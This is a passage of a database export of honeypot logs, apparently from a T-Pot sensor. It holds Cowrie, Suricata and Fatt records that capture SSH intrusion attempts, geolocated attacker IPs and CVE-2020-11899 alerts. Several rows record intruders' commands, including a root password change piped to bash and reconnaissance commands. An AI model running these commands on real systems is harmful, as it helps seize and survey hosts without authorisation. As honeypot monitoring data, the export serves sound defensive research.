32892	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:02.394146+03	2021-09-20 15:00:04.054722+03	{"_id": "NwYOA3wBvYTbRNuEVE0F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "91.231.219.157", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21131396293640137, "duplicate": true, "timestamp": "2021-09-20T11:54:02.394146Z", "@timestamp": "2021-09-20T11:54:02.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32893	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:02.585442+03	2021-09-20 15:00:04.055723+03	{"_id": "MgYOA3wBvYTbRNuEVE0F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:02.585442Z", "@timestamp": "2021-09-20T11:54:02.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32894	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:02.585992+03	2021-09-20 15:00:04.056723+03	{"_id": "NAYOA3wBvYTbRNuEVE0F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "echo \\"root:ZEkjIpJIWPNH\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:ZEkjIpJIWPNH\\"|chpasswd|bash", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:02.585992Z", "@timestamp": "2021-09-20T11:54:02.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32962	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:53:59.047004+03	2021-09-20 15:00:04.141753+03	{"_id": "CQYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "e4b171a13baf", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:53:59.047004Z", "@timestamp": "2021-09-20T11:53:59.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32895	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:02.693286+03	2021-09-20 15:00:04.057723+03	{"_id": "NgYOA3wBvYTbRNuEVE0F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "8589c74f08aae9546a2de7061d104447b806918b412340c01da2f835db8bc4f4", "src_ip": "91.231.219.157", "ttylog": "log/tty/8589c74f08aae9546a2de7061d104447b806918b412340c01da2f835db8bc4f4", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/8589c74f08aae9546a2de7061d104447b806918b412340c01da2f835db8bc4f4 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.10792803764343262, "duplicate": false, "timestamp": "2021-09-20T11:54:02.693286Z", "@timestamp": "2021-09-20T11:54:02.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32896	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:54:02.84671+03	2021-09-20 15:00:04.058722+03	{"_id": "OQYOA3wBvYTbRNuEVU1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:02.846710+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 174}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:00fb", "flow_id": 1561048651590518, "payload": "AAAAAAADAAAAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMgAEIX2hvbWVraXTAHAAMgAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMgAEAACkFoAAAEZQAEgAEAA4AkbrBESEZL9YkmkXM6Q==", "@version": "1", "in_iface": "enp5s0", "src_port": 5353, "app_proto": "failed", "dest_port": 5353, "timestamp": "2021-09-20T11:54:02.846710Z", "@timestamp": "2021-09-20T11:54:02.846Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............._companion-link._tcp.local......_homekit......._sleep-proxy._udp.!......).................!./.$.E.."}}	1	\N	\N	alert	\N	\N
32897	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:03.171437+03	2021-09-20 15:00:04.060722+03	{"_id": "PgYOA3wBvYTbRNuEV03u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:03.171437Z", "@timestamp": "2021-09-20T11:54:03.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32898	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:03.68846+03	2021-09-20 15:00:04.061722+03	{"_id": "PwYOA3wBvYTbRNuEV03u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "189.50.42.214", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.5176563262939453, "duplicate": true, "timestamp": "2021-09-20T11:54:03.688460Z", "@timestamp": "2021-09-20T11:54:03.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32899	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.052905+03	2021-09-20 15:00:04.062722+03	{"_id": "RAYOA3wBvYTbRNuEV03v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:03.052905Z", "@timestamp": "2021-09-20T11:54:03.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32900	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.278769+03	2021-09-20 15:00:04.063722+03	{"_id": "QgYOA3wBvYTbRNuEV03u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "91.231.219.157", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.22649049758911133, "duplicate": true, "timestamp": "2021-09-20T11:54:03.278769Z", "@timestamp": "2021-09-20T11:54:03.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32901	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:54:03.619299+03	2021-09-20 15:00:04.064722+03	{"_id": "SgYOA3wBvYTbRNuEWU1Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:03.619299+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755829404451, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:54:03.619299Z", "@timestamp": "2021-09-20T11:54:03.619Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
32902	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:04.155033+03	2021-09-20 15:00:04.065723+03	{"_id": "VQYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "91.231.219.157", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21024298667907715, "duplicate": true, "timestamp": "2021-09-20T11:54:04.155033Z", "@timestamp": "2021-09-20T11:54:04.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32903	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:04.408716+03	2021-09-20 15:00:04.067722+03	{"_id": "UAYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:04.408716Z", "@timestamp": "2021-09-20T11:54:04.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32904	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:54:04.492239+03	2021-09-20 15:00:04.068723+03	{"_id": "UgYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4b9ace7639c7", "@version": "1", "duration": 2.9864184856414795, "timestamp": "2021-09-20T11:54:04.492239Z", "@timestamp": "2021-09-20T11:54:04.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32905	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:54:05.020317+03	2021-09-20 15:00:04.069724+03	{"_id": "VAYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "arcfour", "3des-cbc"], "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: fb9ea37f5a326a02ad94bd4e431b024c", "session": "e8816f27cf71", "@version": "1", "timestamp": "2021-09-20T11:54:05.020317Z", "@timestamp": "2021-09-20T11:54:05.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
32906	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:54:04.962418+03	2021-09-20 15:00:04.071722+03	{"_id": "TgYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.250:47036 (192.168.176.2:22) [session: e8816f27cf71]", "session": "e8816f27cf71", "@version": "1", "protocol": "ssh", "src_port": 47036, "dest_port": 22, "timestamp": "2021-09-20T11:54:04.962418Z", "@timestamp": "2021-09-20T11:54:04.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
32907	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:04.880655+03	2021-09-20 15:00:04.072722+03	{"_id": "WQYOA3wBvYTbRNuEW03X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:04.880655Z", "@timestamp": "2021-09-20T11:54:04.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32908	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:04.88119+03	2021-09-20 15:00:04.073722+03	{"_id": "WgYOA3wBvYTbRNuEW03X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:04.881190Z", "@timestamp": "2021-09-20T11:54:04.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32909	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:53:54.654169+03	2021-09-20 15:00:04.074722+03	{"_id": "zgYOA3wBvYTbRNuENkwr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26330, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2667012356953, "@version": "1", "in_iface": "enp5s0", "src_port": 55729, "dest_port": 53, "timestamp": "2021-09-20T11:53:54.654169Z", "@timestamp": "2021-09-20T11:53:54.654Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32910	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:53:55.20366+03	2021-09-20 15:00:04.075722+03	{"_id": "1QYOA3wBvYTbRNuEN0w1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35812, "timestamp": "2021-09-20T11:53:55.203660", "@timestamp": "2021-09-20T11:53:55.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32911	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:53:54.750736+03	2021-09-20 15:00:04.077722+03	{"_id": "1AYOA3wBvYTbRNuEN0w1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35810, "timestamp": "2021-09-20T11:53:54.750736", "@timestamp": "2021-09-20T11:53:54.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	